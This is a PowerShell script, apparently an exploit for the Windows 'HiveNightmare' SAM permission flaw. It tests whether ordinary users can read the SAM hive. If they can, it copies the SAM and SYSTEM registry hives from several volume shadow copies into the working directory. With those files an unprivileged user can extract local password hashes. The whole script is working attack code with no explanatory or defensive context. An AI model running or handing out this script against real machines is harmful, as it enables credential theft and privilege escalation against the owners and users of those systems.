$CheckPerm = icacls C:\windows\system32\config\sam
    if ($CheckPerm -like '*BUILTIN\Users:(I)(RX*)*') {
        write-host "Host is likely vulnerable"
        $inputValue = 0
		$inputValid = [int]::TryParse((Read-Host 'Enter number of iteration'), [ref]$inputValue)
		if (-not $inputValid) {
		    Write-Host "your input was not an integer..."
		    exit
		} else {
			$dir = Get-Location

			foreach($i in 1..$inputValue){
				Copy-Item -LiteralPath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$i\Windows\System32\config\SAM" "$dir\SAM$i"
				Copy-Item -LiteralPath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$i\Windows\System32\config\SYSTEM" "$dir\SYSTEM$i"
				}
		}
    }
    else {
        Write-Host "probably not vulnerable"
    }